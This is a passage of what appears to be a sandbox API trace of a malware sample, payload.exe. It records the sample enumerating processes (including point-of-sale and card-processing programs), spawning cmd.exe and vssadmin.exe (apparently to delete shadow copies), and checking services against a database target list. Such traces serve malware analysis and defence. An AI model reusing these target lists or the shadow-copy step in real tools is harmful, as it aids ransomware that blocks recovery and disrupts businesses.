dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0069.254] lstrlenW (lpString="accupos.exe") returned 11 [0069.254] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0069.255] lstrlenW (lpString="afr38.exe") returned 9 [0069.255] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0069.255] lstrlenW (lpString="aldelo.exe") returned 10 [0069.255] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0069.256] lstrlenW (lpString="ccv_server.exe") returned 14 [0069.256] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0069.589] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0069.589] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x968, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0069.590] lstrlenW (lpString="creditservice.exe") returned 17 [0069.590] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0069.593] lstrlenW (lpString="edcsvr.exe") returned 10 [0069.593] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0069.594] lstrlenW (lpString="fpos.exe") returned 8 [0069.594] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0069.595] lstrlenW (lpString="isspos.exe") returned 10 [0069.595] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0069.596] lstrlenW (lpString="mxslipstream.exe") returned 16 [0069.596] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0069.596] lstrlenW (lpString="omnipos.exe") returned 11 [0069.596] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0069.597] lstrlenW (lpString="spcwin.exe") returned 10 [0069.597] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0069.598] lstrlenW (lpString="spgagentservice.exe") returned 19 [0069.598] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0069.598] lstrlenW (lpString="utg2.exe") returned 8 [0069.598] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="slope.exe")) returned 1 [0069.599] lstrlenW (lpString="slope.exe") returned 9 [0069.599] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="entered.exe")) returned 1 [0069.600] lstrlenW (lpString="entered.exe") returned 11 [0069.600] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="demographicinfluences.exe")) returned 1 [0069.600] lstrlenW (lpString="demographicinfluences.exe") returned 25 [0069.600] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="attach.exe")) returned 1 [0069.601] lstrlenW (lpString="attach.exe") returned 10 [0069.601] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="obligations.exe")) returned 1 [0069.602] lstrlenW (lpString="obligations.exe") returned 15 [0069.602] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0069.602] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0069.602] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0069.603] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0069.603] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0069.604] lstrlenW (lpString="taskhost.exe") returned 12 [0069.604] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0069.604] lstrlenW (lpString="payload.exe") returned 11 [0069.604] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0069.605] lstrlenW (lpString="cmd.exe") returned 7 [0069.605] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0069.606] lstrlenW (lpString="conhost.exe") returned 11 [0069.606] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x15c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0069.606] lstrlenW (lpString="vssadmin.exe") returned 12 [0069.606] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0069.607] lstrlenW (lpString="VSSVC.exe") returned 9 [0069.607] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.607] lstrlenW (lpString="svchost.exe") returned 11 [0069.607] Process32NextW (in: hSnapshot=0x1f0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0069.608] CloseHandle (hObject=0x1f0) returned 1 [0069.608] Sleep (dwMilliseconds=0x1f4) [0070.423] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x38642e8 [0070.423] EnumServicesStatusExW (in: hSCManager=0x38642e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0070.424] GetLastError () returned 0xea [0070.424] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x12c6) returned 0x3f81fa8 [0070.424] EnumServicesStatusExW (in: hSCManager=0x38642e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f81fa8, cbBufSize=0x12c6, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f81fa8, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0070.425] CloseServiceHandle (hSCObject=0x38642e8) returned 1 [0070.425] lstrlenW (lpString="Appinfo") returned 7 [0070.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0070.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0070.425] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0070.425] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0070.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0070.425] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0070.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0070.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0070.425] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0070.425] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0070.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0070.426] lstrlenW (lpString="AudioSrv") returned 8 [0070.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0070.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0070.426] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0070.426] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0070.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0070.426] lstrlenW (lpString="BFE") returned 3 [0070.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0070.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0070.426] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0070.426] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0070.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0070.426] lstrlenW (lpString="CryptSvc") returned 8 [0070.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0070.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0070.426] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0070.426] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0070.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0070.426] lstrlenW (lpString="CscService") returned 10 [0070.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0070.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0070.426] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0070.426] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0070.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0070.426] lstrlenW (lpString="DcomLaunch") returned 10 [0070.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0070.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0070.426] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0070.426] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0070.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0070.426] lstrlenW (lpString="Dhcp") returned 4 [0070.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0070.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0070.426] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0070.426] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0070.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0070.427] lstrlenW (lpString="Dnscache") returned 8 [0070.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0070.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0070.427] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0070.427] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0070.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0070.427] lstrlenW (lpString="DPS") returned 3 [0070.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0070.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0070.427] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0070.427] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0070.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0070.427] lstrlenW (lpString="eventlog") returned 8 [0070.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0070.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0070.427] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0070.427] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0070.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0070.427] lstrlenW (lpString="EventSystem") returned 11 [0070.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0070.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0070.427] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0070.427] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0070.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0070.427] lstrlenW (lpString="gpsvc") returned 5 [0070.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0070.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0070.427] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0070.427] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0070.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0070.427] lstrlenW (lpString="iphlpsvc") returned 8 [0070.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0070.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0070.428] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0070.428] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0070.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0070.428] lstrlenW (lpString="LanmanServer") returned 12 [0070.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0070.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0070.428] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0070.428] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0070.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0070.428] lstrlenW (lpString="LanmanWorkstation") returned 17 [0070.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0070.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0070.428] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0070.428] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0070.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0070.428] lstrlenW (lpString="lmhosts") returned 7 [0070.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0070.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0070.428] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0070.428] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0070.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0070.428] lstrlenW (lpString="MMCSS") returned 5 [0070.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0070.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0070.428] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0070.428] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0070.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0070.428] lstrlenW (lpString="MpsSvc") returned 6 [0070.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0070.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0070.428] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0070.428] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0070.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0070.428] lstrlenW (lpString="Netman") returned 6 [0070.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0070.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0070.429] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0070.429] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0070.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0070.429] lstrlenW (lpString="netprofm") returned 8 [0070.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0070.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0070.429] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0070.429] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0070.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0070.429] lstrlenW (lpString="NlaSvc") returned 6 [0070.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0070.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0070.429] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0070.429] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0070.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0070.429] lstrlenW (lpString="nsi") returned 3 [0070.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0070.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0070.429] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0070.429] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0070.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0070.429] lstrlenW (lpString="PcaSvc") returned 6 [0070.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0070.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0070.429] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0070.429] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0070.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0070.429] lstrlenW (lpString="PlugPlay") returned 8 [0070.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0070.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0070.429] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0070.429] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0070.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0070.430] lstrlenW (lpString="Power") returned 5 [0070.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0070.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0070.430] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0070.430] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0070.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0070.430] lstrlenW (lpString="ProfSvc") returned 7 [0070.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0070.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0070.430] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0070.430] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0070.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0070.430] lstrlenW (lpString="RpcEptMapper") returned 12 [0070.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0070.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0070.430] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0070.430] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0070.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0070.430] lstrlenW (lpString="RpcSs") returned 5 [0070.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0070.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0070.430] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0070.430] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0070.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0070.430] lstrlenW (lpString="SamSs") returned 5 [0070.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0070.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0070.431] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0070.431] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0070.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0070.431] lstrlenW (lpString="Schedule") returned 8 [0070.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0070.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0070.431] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0070.431] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0070.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0070.431] lstrlenW (lpString="SENS") returned 4 [0070.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0070.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0070.431] lstrcmpiW 